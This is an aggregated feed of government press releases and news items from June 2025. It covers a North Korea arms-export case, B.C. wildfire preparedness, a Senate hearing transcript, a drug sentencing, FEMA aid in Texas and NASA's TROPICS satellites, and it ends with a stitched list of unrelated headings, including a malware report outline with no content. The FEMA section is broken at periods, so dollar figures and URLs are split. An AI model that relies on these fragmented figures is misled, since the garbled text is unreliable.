Wen also acquired or offered to acquire a civilian airplane engine and a thermal imaging system that could be mounted on a drone, helicopter, or other aircraft, and could be used for reconnaissance and target identification.

During the scheme, North Korean officials wired approximately $2 million to Wen to procure firearms and other goods for their government.

Wen admitted that at all relevant times he knew that it was illegal to ship firearms, ammunition, and sensitive technology to North Korea. He also admitted to never having the required licenses to export ammunition, firearms, and the above-described devices to North Korea. He further admitted to acting at the direction of North Korean government officials and that he had not provided notification to the Attorney General of the United States that he was acting in the United States at the direction and control of North Korea as required by law.

Wen faces a maximum penalty of 20 years in prison on the count of violating the IEEPA and a maximum penalty of 10 years in prison on the count of acting as an illegal agent of a foreign government. Sentencing is scheduled for Aug. 18. A federal district court judge will determine any sentence after considering the U.S. Sentencing Guidelines and other statutory factors.

Assistant Attorney General for National Security John Eisenberg, U.S. Attorney Bilal A. Essayli for the Central District of California, and Assistant Director Roman Rozhavsky of the FBI Counterintelligence Division made the announcement.

The FBI, Homeland Security Investigations, Defense Criminal Investigative Service (DCIS), the Bureau of Alcohol, Tobacco, Firearms and Explosives (ATF), and the Department of Commerce Bureau of Industry and Security (BIS) are investigating the case.

Assistant U.S. Attorney Sarah E. Gerdes for the Central District of California and Trial Attorney Ahmed Almudallal of the National Security Division’s Counterintelligence and Export Control Section are prosecuting the case.

MIL Security OSI –

June 10, 2025
MIL-OSI Canada: People urged to prepare as warming temperatures increase wildfire, drought risk
Source: Government of Canada regional news

With warmer, drier conditions expected to increase across B.C., people are advised to stay prepared for climate-related emergencies.

“As temperatures rise, so does the risk of wildfire and prolonged drought throughout B.C.,” said Kelly Greene, Minister of Emergency Management and Climate Readiness. “The Province stands ready to support communities and people during an emergency, and I urge people to take action now to increase their household preparedness. Visit PreparedBC.ca for information on how to prepare for common hazards such as heat and wildfire.”

People are encouraged to prepare grab-and-go bags, create an emergency and evacuation plan, create an Emergency Support Services profile through their B.C. Services Card app and ensure they have renter’s or homeowner’s insurance for their property.

If you are placed under evacuation alert for any reason, you should immediately:
- Get prepared to leave your home on short notice.
- Get your grab-and-go bags ready (which should include several days of clothing, food, water, toiletries and medication), as well as your emergency plan, copies of important documents (including renters and home insurance) and important mementos.
- Listen to local emergency officials for further information on the situation.
If you are placed under evacuation order for any reason, you must:
- Leave the area immediately.
- Follow the directions of local emergency officials and evacuate using the route(s) they have identified.
- Do not return home until you have been advised that the evacuation order has been rescinded.
In the event of an evacuation, Emergency Support Services will be available to provide temporary support to people who don’t have resources to meet their basic needs, such as accommodation, clothing and food.

Wildfire preparedness

Warm and dry conditions are expected throughout the province this month, and with that comes an elevated risk of wildfire. Northeastern B.C. is continuing to experience prolonged drought and is expected to remain at high risk for wildfire this summer.

Regardless of where people live or travel in B.C., it’s critical that everyone does their part to reduce the risk of wildfire. People are urged to be aware of their local fire danger, including open burning prohibitions and report wildfires on the BC Wildfire app or by calling *5555.

“It has been an intense start to the wildfire season across Canada, but I am incredibly proud of our BC Wildfire Service. BCWS has been there for our neighbours while also keeping us safe here at home,” said Ravi Parmar, Minister of Forests. “Summer is nearly here, and with it will come wildfires. It’s a tough season ahead for communities here in B.C., but know that we will have your back. Your role is to stay informed, prepared and FireSmart.”

The Province is working to keep communities safe by focusing on all four phases of emergency management: prevention, preparedness, response and recovery. BC Wildfire Service is a year-round operation that enables:
- out of province deployment to assist partner agencies;
- improved firefighter recruitment, training and First Nations boot camps;
- wildfire-prevention work including cultural and prescribed burning;
- expanded BCWS contract opportunities for heavy equipment and aerial support; and,
- incorporating new technologies to better support firefighting.
Drought preparedness

In addition to wildfire risk, the Province is also closely monitoring key indicators of drought risk, including snowpack. The River Forecast Centre’s latest snowpack survey, released on June 9, shows B.C.’s overall snowpack is at 44% of normal. Low snowpack, early snowmelt and warm seasonal weather forecasts point to the potential for elevated drought this summer. While these are important early indicators, rainfall in the coming weeks will also be a key factor in how drought conditions evolve throughout the province.

Drought levels measure the severity of dryness and are updated weekly on the B.C. Drought Information Portal. This year, the drought portal features monitoring summaries, providing an overview of B.C.’s current drought conditions, impacts and outlook.

People, communities and businesses are encouraged to take steps to use water more efficiently and prepare for potential drought conditions.

“Drought affects the well-being of people, businesses, wildlife and ecosystems that rely on healthy watersheds,” said Randene Neill, Minister of Water, Land and Resource Stewardship. “By staying informed, planning ahead and conserving water, we can work together to safeguard both our communities and the environment.”

People can find more information about preparing for climate-related hazards at https://PreparedBC.ca

Quick Facts:
- On June 6, the Ministry of Emergency Management and Climate Readiness announced $7 million to support 139 emergency operation centre projects, benefiting 183 communities through the Community Emergency Preparedness Fund (CEPF).
- Since 2017, the Province has provided approximately $550 million to First Nations and local governments for approximately 2,800 disaster-preparedness and mitigation projects.
- For wildfire-prevention initiatives through BCWS, FireSmart initiatives and the Forest Enhancement Society of B.C. (FESBC), $90 million has been allocated in 2025.
- There are 88 cultural and prescribed burn projects planned for 2025; 48 were completed in 2024.
Learn More:

To learn more about how to prepare for emergencies, including information about grab-and-go bags, household emergency plans and hazard-specific guides, visit https://PreparedBC.ca

For information about active evacuation alerts and orders, visit https://EmergencyInfoBC.ca or follow @EmergencyInfoBC on X

For more information about the Summer Outlook, visit: https://blog.gov.bc.ca/bcwildfire/category/seasonal-outlook/

To learn about how to prepare for wildfires, visit: https://FireSmartBC.ca/

To view burning prohibitions and restrictions, visit: https://www2.gov.bc.ca/gov/content/safety/wildfire-status/prevention/fire-bans-and-restrictions

For real-time wildfire information, visit: https://wildfiresituation.gov.bc.ca or the BC Wildfire Service mobile app, which is available for Apple and Android users.

To pre-register with Emergency Support Services, visit https://ESS.gov.bc.ca

To access the B.C. Drought Information Portal, visit: https://droughtportal.gov.bc.ca/

MIL OSI Canada News –
June 10, 2025
MIL-OSI USA: Murkowski Engages with Education and Labor Nominees on Alaska Priorities

US Senate News:

Source: United States Senator for Alaska Lisa Murkowski

06.09.25

Washington, DC – This week, the Senate Committee on Health, Education, Labor, and Pensions (HELP) held a hearing to consider the nominations of Dr. Penny Schwinn to be Deputy Secretary of Education, Kimberly Richey to be Assistant Secretary for Civil Rights at the Department of Education (ED), Daniel Aronowitz to be Assistant Secretary of Labor for the Employee Benefits Security Administration (EBSA), Department of Labor (DOL), and David Keeling to be Assistant Secretary of Labor for the Occupational Safety and Health Administration (OSHA).

U.S. Senator Lisa Murkowski (R-AK), pressed the nominees on a number of Alaska priorities, including requirements to meaningfully engage with Tribal representatives on education policy, support for State-Tribal Education Compact Schools (STECs), the importance of clear regulations for Employee Stock Ownership Plans (ESOP), and ensuring the National Institute for Occupational Safety and Health (NIOSH) has the resources to support Alaska’s employees’ safety.

Click here to watch the Senator’s full line of questioning.

The full transcript of Murkowski’s questions during this week’s HELP hearing is below.

TRANSCRIPT

Murkowski: Thank you, Mr. Chairman, and welcome ladies and gentlemen. Thank you, for your willingness to serve.

I want to start with you, Dr. Schwin. As you know Alaska has the greatest number of Indian Tribes in any state. A lot of the focus now on what more we can be doing on the education front. Alaska Native leaders, and parents are really interested in doing more when it comes to self-determination over their children’s education.

In the last reauthorization of ESSA, I included language to require states and school districts to engage in meaningful consultation with tribal representatives. Unfortunately, we haven’t seen a lot of engagement as we had hoped since 2017, and it’s been across multiple administrations here. So, I would just like to put this to your attention. Recognizing that it is important to meet the requirements of meaningful consultation, whether it is in the Department of Education, or whether it is in Interior, it is across our government and so I put that in front of you here today.

Another issue that I’d like to bring to your attention, the State of Alaska is moving forward with a pilot program to create what we call STEC [State Tribal Education Compact] Schools. Secretary McMahon has met with some of the STEC school’s representatives. This would effectively, with this education compact with the tribes, would be public schools that are open to all students to offer culturally relevant educational models. I don’t know if you’ve been brought up to speed, if you’ve had any conversations on these, but we’re hoping that you would be able to effectively advocate for additional support as we move forward with these initiatives in Alaska.

Dr. Schawn: Thank you. I will go ahead and say that your staff gave me a little bit of information and gave me some information to follow up on, if I’m so confirmed. But I really look forward to working with your office on that and want to just congratulate you on what I think is a really innovative program and look forward to seeing more about it.

Murkowski: Well, feel like we need to be innovative because the status quo has not helped our Native students. When our Native students did not do well, Alaskan students writ large do not do well. So, we want to be doing more in this area.

Let me turn to you, Mr. Aronowitz. You’re probably very familiar with the angst that’s been expressed by some about the need for a single clear regulatory definition of good-faith effort for valuing ESOP stock. The concern is that instead of having a clear definition that’s spelled out in regulation, ESOPs have been operating under this kind of patchwork of litigation and investigation. There’s also been some concern that the department has taken excessive enforcement actions against ESOPs. Can you speak very briefly to your views on these?

Mr. Aronowitz: I believe that Congress wants ESOPs, and everybody’s for ESOPs except the Department of Labor the last 20 years, and I will end the war on ESOPs. I think it’s the best way for employees to get an additional benefit, and ownership in an American company. The valuation companies have all been sued by the Department of Labor, that can’t be right that every single one of them are doing it wrong. What the department is doing is nitpicking the professional judgment of the valuation professionals. I’m going to put an end to that, because I think unless there is a clear conflict of interest, then the valuation is appropriate, when done by an independent valuation firm.

Murkowski: Well, there are so many in my state where the ESOP is really looked at and valued as that commitment to not only business, but employee security as well. So, thank you for that.

Mr. Keeling, OSHA has traditionally relied on NIOSH data and recommendations for many of the workplace safety standards. I come from a state where we, unfortunately, have a high incidence of accidents on the workforce. The commercial fishing industry has been tagged as one of the most dangerous occupations in the country. We have significant and severe wildfires every year, so we worry about health and safety risks to our firefighters. We have seen the administration moving forward with some pretty significant cuts to NIOSH, and I’m concerned that this is going to hamper some of the vital research that’s out there. So, I don’t know if you can speak to whether we have a plan on how we fill the data and information gap if NIOSH is unable to produce what we need in terms of timely data and recommendations, as you work to inform rule making.

Mr. Keeling: Yes, Senator. Thank you for the question.

There is a gap if you will, if NIOSH doesn’t exist, right? But there are ways through that, I think. Use of private entities to fill some of those gaps. Obviously, I’m not in place, I have not spoken to anyone on the career side from OSHA on that point, and NIOSH doesn’t directly report to the Department of Labor, so, there’s a little bit of a difference there, a separation there, as well. I will have questions as well, if I’m lucky enough to be confirmed, about how we do that. But I think there are paths through. I think through using the professional groups that are out there, and by using some private resources, there are ways to fill the gap. Not necessarily easily, but there are ways.

Murkowski: Right. we don’t want to see those gaps. Thank you, Mr. Chairman.

MIL OSI USA News –

June 10, 2025
MIL-OSI Security: Drug Supplier From Lowell Sentenced to Nine Years in Prison for Role in Drug Trafficking Conspiracy

Source: US FBI

Defendant supplied thousands of counterfeit “Adderall” pills containing methamphetamine to Asian Boyz gang

BOSTON – A Lowell man was sentenced on June 4, 2025 in federal court in Boston for conspiring with gang members to traffic methamphetamine pills made to look like the legitimate pharmaceutical product, Adderall.

Brian Gingras, a/k/a “Cheech,” 39, was sentenced by U.S. District Court Judge Nathaniel M. Gorton to nine years in prison, to be followed by four years of supervised release. In January 2025, Gingras pleaded guilty to one count of conspiracy to distribute and to possess with intent to distribute 50 grams and more of methamphetamine, and one count of possession with intent to distribute 50 grams and more of methamphetamine.

Gingras was a drug supplier in an extensive distribution network involving Asian Boyz gang member, Bill Phim, a/k/a “Bonez.” Between May 2022 and September 2022, Gingras delivered over 5,000 counterfeit Adderall pills – which were referred to as “Ads,” “Addies,” or simply, “A’s” – to Phim on numerous occasions. Phim then sold the pills to an undercover federal agent for more than $18,000. Chemical testing confirmed that the pills contained a dangerous compound of methamphetamine and caffeine.

During a search of Gingras’ residence, hundreds of additional counterfeit “Adderall” pills as well as counterfeit “Xanax” pills and a pill press were discovered. The search also revealed that Gingras maintained a storage unit where he kept a loaded firearm and over 30 kilograms of counterfeit “Adderall” pills made with caffeine only, bags of suspected marijuana as well as boxes of THC extract and edible products.

Phim was sentenced by Judge Gorton in May 2025 to 10 years in prison.

United States Attorney Leah B. Foley; Kimberly Milka, Acting Special Agent in Charge of the Federal Bureau of Investigation, Boston Division; and Superintendent Gregory C. Hudon of the Lowell Police Department made the announcement today. Valuable assistance was provided by the Massachusetts State Police; and the Billerica, Haverhill, North Andover and Salem Police Departments. Assistant U.S. Attorney Fred M. Wyshak, III of the Organized Crime & Gang Unit prosecuted the case.

This case is part of Project Safe Neighborhoods (PSN), a program bringing together all levels of law enforcement and the communities they serve to reduce gun violence and other violent crime, and to make our neighborhoods safer for everyone. On May 26, 2021, the Department launched a violent crime reduction strategy strengthening PSN based on these core principles: fostering trust and legitimacy in our communities, supporting community-based organizations that help prevent violence from occurring in the first place, setting focused and strategic enforcement priorities, and measuring the results. For more information about Project Safe Neighborhoods, please visit https://www.justice.gov/PSN.

This case is also part of an Organized Crime Drug Enforcement Task Forces (OCDETF) operation. OCDETF identifies, disrupts, and dismantles the highest-level criminal organizations that threaten the United States using a prosecutor-led, intelligence-driven, multi-agency approach. Additional information about the OCDETF Program can be found at https://www.justice.gov/OCDETF.

MIL Security OSI –

June 10, 2025
MIL-OSI USA: Types of Disaster Assistance Available

Source: US Federal Emergency Management Agency

Headline: Types of Disaster Assistance Available

Types of Disaster Assistance Available

AUSTIN – A major presidential disaster declaration was approved after the severe storms and flooding that occurred March 26-28, 2025, in Texas

It authorizes FEMA to provide assistance in Cameron, Hidalgo, Starr and Willacy counties

Disaster assistance can include grants for temporary housing and home repairs, low-cost loans to cover uninsured property losses and other programs to help residents and business owners recover from the impacts of the disaster

FEMA’s Individual Assistance program directly helps disaster survivors with uninsured or underinsured basic critical needs such as returning a home to a safe, sanitary, functional and accessible environment during their recovery from a disaster

Under Individual Assistance, FEMA provides several types of financial and direct assistance to eligible individuals and families

These may include, but are not limited to:Housing AssistanceRental Assistance to rent alternate housing while an applicant is displaced from a disaster-damaged primary residence

Rental Assistance and Continued Temporary Housing Assistance may be used to rent a house, apartment, manufactured home, recreational vehicle, or efficiency unit at a hotel or motel while your damaged residence is being repaired

Lodging Expense Reimbursement for hotels, motels or other short-term lodging while an applicant is displaced from a disaster-damaged primary residence

Home Repair Assistance to help restore an owner-occupied, disaster-damaged primary residence to safe and sanitary condition

Replacement Assistance to help homeowners replace an owner-occupied primary residence when it is destroyed by a disaster

Other Needs AssistanceDisplacement: Helps with housing needs if you cannot return to your home because of the disaster

Serious Needs Assistance: An upfront, flexible “per household” payment for essential items such as food, water, baby formula, breast-feeding supplies, medicine and other serious disaster-related needs

Note: This is not a reimbursement for loss of power or replacing food

It is intended for emergency needs only

Childcare: Assistance for childcare expenses or an increase in childcare expenses caused by a disaster

Medical/Dental: Assistance to help cover expenses related to disaster-caused injuries or illnesses

Personal Property: Helps repair or replace appliances, room furnishings, and a personal or family computer damaged in the disaster

Transportation: Assistance to repair or replace a vehicle damaged by the disaster when you don’t have another vehicle to use

Miscellaneous Items: Assistance that may help pay for specific items that were purchased or rented after the disaster to help you recover

For example, a chainsaw to help clear fallen trees that prevent safe access to your home

Moving and Storage: Assistance moving and storing personal property from your home to prevent additional damage, usually while making repairs to your home or moving to a new place due to the disaster

Learn more about FEMA’s Individual Assistance program at fema

gov/assistance/individual

Disaster assistance to Texas for the March 26-28 severe storms and flooding includes:$34

2 million in FEMA awards to 6,541 individuals and households, including nearly $58,000 for rental of temporary housing and basic repair of damaged dwellings$2

4 million in U

S

Small Business Administration disaster loansTo meet survivors where they are, FEMA, SBA and the State of Texas are operating seven Disaster Recovery Centers in Cameron, Hidalgo, Starr and Willacy counties

More than 3,400 people have visited these centers

Survivors in Cameron, Hidalgo, Starr and Willacy counties may apply for federal assistance if they had damage in the March 26-28 storms

The deadline to apply is July 22, 2025

There are several ways to apply

Visit a Disaster Recovery Center

To find a center close to you, go online to: DRC Locator, or text DRC along with your Zip Code to 43362 (Ex: DRC 78552)

Go to DisasterAssistance

gov; download the FEMA App for mobile devices; or call the FEMA Helpline at 800-621-3362 between 6 a

m

and 10 p

m

CT

Help is available in most languages

If you use a relay service, captioned telephone or other service, you can give FEMA your number for that service

For an accessible video on how to apply for assistance, go to Three Ways to Register for FEMA Disaster Assistance – YouTubeFor more information, visit fema

gov/disaster/4871

Follow FEMA Region 6 on social media at x

com/FEMARegion6 and at facebook

com/FEMARegion6/
toan

nguyen
Mon, 06/09/2025 – 18:16

MIL OSI USA News –

June 10, 2025
MIL-OSI USA: NASA’s TROPICS Mission: Offering Detailed Images and Analysis of Tropical Cyclones

Source: NASA

Introduction
Tropical cyclones represent a danger to life, property, and the economies of communities. Researchers who study tropical cyclones have focused on remote observations using space-based platforms to image these storms, inform forecasts, better predict landfall, and improve understanding of storm dynamics and precipitation evolution – see Figure 1.

The tropical cyclone community has leveraged data from Earth observing platforms for more than 30 years. These data have been retrieved from numerous instruments including: the Advanced Baseline Imager (ABI) on the National Oceanic and Atmospheric Administration’s (NOAA) Geostationary Operational Environmental Satellite (GOES)–Series R satellites; the Tropical Rainfall Measuring Mission (TRMM) Microwave Imager (TMI); the Global Precipitation Measurement (GPM) Microwave Imager (GMI); the Special Sensor Microwave Imager/Sounder (SSMIS) on the Defense Meteorological Satellite (DSMP) satellites; the Advanced Microwave Scanning Radiometer (AMSR-E) on Aqua; AMSR2 on the Japan Aerospace Exploration Agency’s (JAXA) Global Change Observation Mission–Water (GCOM-W) mission; the Advanced Microwave Sounding Unit (AMSU) on Aqua and the Advanced Technology Microwave Sounder (ATMS) on the NASA–NOAA Suomi National Polar-Orbiting Partnership (Suomi NPP), NOAA-20, and NOAA-21; the Moderate Resolution Imaging Spectroradiometer (MODIS) on NASA’s Terra and Aqua Platform; and the Visible Infrared Imaging Radiometer Suite (VIIRS) on Suomi NPP, as well as on the first two Joint Polar Satellite System (JPSS) missions (i.e., NOAA-20 and NOAA-21).
Despite having decades of data at their disposal, scientists lack data from instruments placed in low-inclination orbits that provide more frequent views within tropical regions. This limitation is especially pronounced in the tropical and subtropical latitudes, which is where tropical storms develop and intensify.
The NASA Time-Resolved Observations of Precipitation structure and storm Intensity with a Constellation of Smallsats (TROPICS) grew from the Precipitation and All-weather Temperature and Humidity (PATH) to address a need for obtaining three-dimensional (3D) temperature and humidity measurements as well as precipitation with a temporal revisit rate of one hour or better – see Figure 2. TROPICS uses multiple small satellites flying in a carefully engineered formation to obtain rapid revisits of measurements of precipitation structure within the storms, as well as temperature and humidity profiles, both within and outside of the storms, including the intensity of the upper-level warm core. In addition, the instruments provide a median revisit time of about one hour. The data gathered also informs changes in storm track and intensity and provides data to improve weather prediction models.
The imagery is focused on inner storm structure (near 91 and 205 GHz), temperature soundings (near 118 GHz), and moisture soundings (near 183 GHz). Spatial resolution at nadir is approximately 24 km (16.8 mi) for temperature and 17 km (10.6 mi) for moisture and precipitation, covering a swath of approximately 2000 km (1243 mi) in width. Researchers can use TROPICS data to create hundreds of high-resolution images of tropical cyclones throughout their lifecycle.

This article provides an overview of the two years of successful science operations of TROPICS, with a focus on the suite of geophysical Level-2 (L2) products (e.g., atmospheric vertical temperature and moisture profiles, instantaneous surface rain rate, and tropical cyclone intensity) and the science investigations resulting from these measurements. The complete article, available in the Proceedings Of The IEEE: Special Issue On Satellite Remote Sensing Of The Earth, provides more comprehensive details of the results.
From Pathfinder to Constellation
A single TROPICS satellite was launched as a Pathfinder vehicle on June 30, 2021, aboard a SpaceX Falcon 9 rideshare into a Sun-synchronous polar orbit. TROPICS was originally conceived as a six-satellite constellation, with two satellites launched into each of three low-inclination orbits. Regrettably, the first launch, on June 22, 2022 aboard an Astra Rocket 3.3, failed to reach orbit. While unfortunate, the mission could still proceed with four satellites and meet its baseline revisit rate requirement (with no margin), with the silver lining of an extra year of data gathered from TROPICS Pathfinder that allowed the tropical cyclone research community to prepare and test communications systems and data processing algorithms before the launch of the four remaining constellation satellites. These satellites were deployed on two separate launches – May 8, 2023 and May 26, 2023 aboard a Rocket Lab launch vehicle. The early testing accelerated calibration and validation for the constellation.
Collecting Data Critical to Understanding Tropical Cyclones
Tropical cyclone investigations require rapid quantitative observations to create 2D storm structure information. The four radiance data products in the TROPICS constellation [i.e., antenna temperature (L1a), brightness temperature (L1b), unified brightness temperature, and regularized scan pattern and limb-adjusted brightness temperature (L1c)] penetrate below the cloud top to gather data at greater frequency for a lower cost than current operational systems. The constellation data has been used to evaluate the development of the warm core and evolution of the ice water path within storms – two indicators of storm formation and subsequent changes in intensity.
The upper-level warm core is key to tropical cyclone development and intensification. Precipitation may instigate rapid intensification through convective bursts that are characterized by expanding cold cloud tops, increasing ice scattering, lightning, and towers of intense rain and ice water that are indicative of strong updrafts. TROPICS frequencies provide a wealth of information on scattering by precipitation-sized ice particles in the eyewall and rainbands that will allow for researchers to track the macrostructure of convective bursts in tropical cyclones across the globe. In addition, TROPICS data helps clarify how variations in environmental humidity around tropical cyclones affect storm structure and intensification.
Upper-level Warm Core
Analysis of the upper-level warm core of a tropical cyclone reveals valuable information about the storm’s development. The tropical cyclone community is using data from TROPICS to understand the processes that lead to precipitating ice structure and the role it plays in intensification – see Figure 3. While the warm core has been studied for decades, TROPICS provides a new opportunity to get high-revisit rate estimates of the atmospheric vertical temperature profile. By pairing the temperature profile with the atmospheric vertical moisture profile, researchers can define the relative humidity in the lower-to-middle troposphere, which is critical to understanding the impact of dry environmental air on storm evolution and structure.

Ice Water Path and Precipitation
Another variable that helps to provide insight into the development of tropical cyclones is the ice water path, which details the total mass of ice present in a vertical column of the atmosphere and is therefore useful for characterizing the structure and intensity of these storms. Increasing ice water path can reflect strengthening convection within a storm and thereby be an indicator of likely intensification – see Figure 4. TROPICS is the first spaceborne sensor equipped with a 205-GHz channel that, along with the traditional 89, 118, and 183 GHz channels, is more sensitive to detecting precipitation-sized ice particles. In addition, the TROPICS Precipitation Retrieval and Profiling Scheme (PRPS) provides an estimate of precipitation. This scheme is based solely on the satellite radiances linked to precipitation rates, which can be used to generate products across time scales, from near-real-time to climatological scales.

Collaborations and TROPICS Data in Action
To evaluate and enhance the data gathered by TROPICS, the TROPICS application team enlisted the assistance of operational weather forecasters that formed the TROPICS Early Adopters program. In 2018, the program connected the application team to stakeholders interested in using TROPICS data for research, forecasting, and decision making. This collaboration improved approaches to diagnose and predict tropical cyclones. For example, the National Hurricane Center (NHC) found that the new TROPICS channel at 204.8 GHz offered the best approach to capture convective storm structure, followed by the more traditionally used 91-GHz channel. In addition, the U.S. Joint Typhoon Warning Center (JTWC) has been using TROPICS data to center-fix tropical cyclones and identify cloud formations. In particular, the JTWC team found that the 91-GHz channel was most useful for identifying cloud structure. Both NHC and JTWC found the TROPICS high revisit rate to be beneficial.
In 2024, the TROPICS applications team developed the TROPICS Satellite Validation Module as part of the NOAA Hurricane Research Division’s annual Advancing the Prediction of Hurricanes Experiment (APHEX). The module coordinated data collection from NOAA’s Hurricane Hunter aircraft beneath TROPICS satellite overpasses to provide data to calibrate and validate TROPICS temperature, moisture, and precipitation measurements. Using this approach, the Hurricane Hunter team tracked Hurricane Ernesto over the central North Atlantic on August 15 and 16, 2024 and used the data to characterize the environment of Ernesto’s rain bands – see Figure 5.

In addition, the team used TROPICS observations in combination with GPM constellation precipitation estimates to characterize the lifecycle of Hurricane Franklin, which formed on August 19, 2023 and underwent a period of rapid intensification about eight days later. Intensification of the storm, in particular the period of rapid intensification (45 knot increase in maximum winds in 24 hours), occurred in association with a decrease in environmental vertical wind shear, a contraction of the radius of maximum precipitation, and an increase in the precipitation rate. Intensification ended with the formation of secondary rainbands and an outward shift in the radius of maximum precipitation.
Conclusion
TROPICS data offer the potential for improving forecasts from numerical weather prediction models and operational forecasts using its high spatial resolution and high revisit rates that enable enhanced characterization of tropical cyclones globally. To date, the TROPICS mission has produced a high-quality aggregate data record spanning 10 billion observations and 10 satellite years, using relatively low-cost microwave sounder constellations. All L1 (i.e., radiances) and L2 (i.e., geophysical products) data products and Algorithm Theoretical Basis Documents are available to the general public through the Goddard Earth Sciences Data and Information Services Center (GES DISC). The GES DISC data discussed in this article include L1 and L2 products for TROPICS-1, TROPICS-3, TROPICS-5, and TROPICS-6.
TROPICS data has aided hurricane track forecasting for multiple storms as forecasters have used the data at multiple operational tropical cyclone forecast centers. Data gathered by TROPICS will soon be complemented by multiple commercial constellations that are coming online to improve the revisit rate and performance.
William Blackwell MIT Lincoln Laboratorywjb@ll.mit.edu
Scott BraunNASA GSFC, TROPICS Project Scientistscott.a.braun@nasa.gov
Stacy KishEarth Observer StaffEarthspin.science@gmail.com

MIL OSI USA News –

June 10, 2025

Category: Natural Disasters

Introduction

Technical details

Initial infection vector

rezet.cmd

bat.bat

Disabling security measures and a scheduled task

Wakeup script and data theft

Miner installation and self-deletion

Legitimate software utilized by the attackers

Phishing campaign

Infrastructure

Victims

About the attackers

Takeaways

Indicators of compromise

Implants

Implant configuration files

Malicious archive attachments

Malicious BAT files

Decoy documents

Malicious PS1 scripts

Legitimate software

Librarian Ghouls malicious domains

Widespread agreement with false EV claims

What we found

It’s not about education

Grounds for optimism

How to tackle EV misinformation

Deadly misinformation

‘A very rewarding job’

Making a difference

A vital partnership

Remembering the fallen

In Oregon, Tongue Point, PIVOT, and Springdale Centers at Risk

Self-defence in the law

A test of proportionality

Is rescuing hostages in self-defence?

An act of aggression?

The case for a wealth tax

High net worth, low tax rate

Unrealised gains

Making tax unavoidable

Change faces headwinds

‘Fight like hell’

The ‘disaster year’

Historical rhymes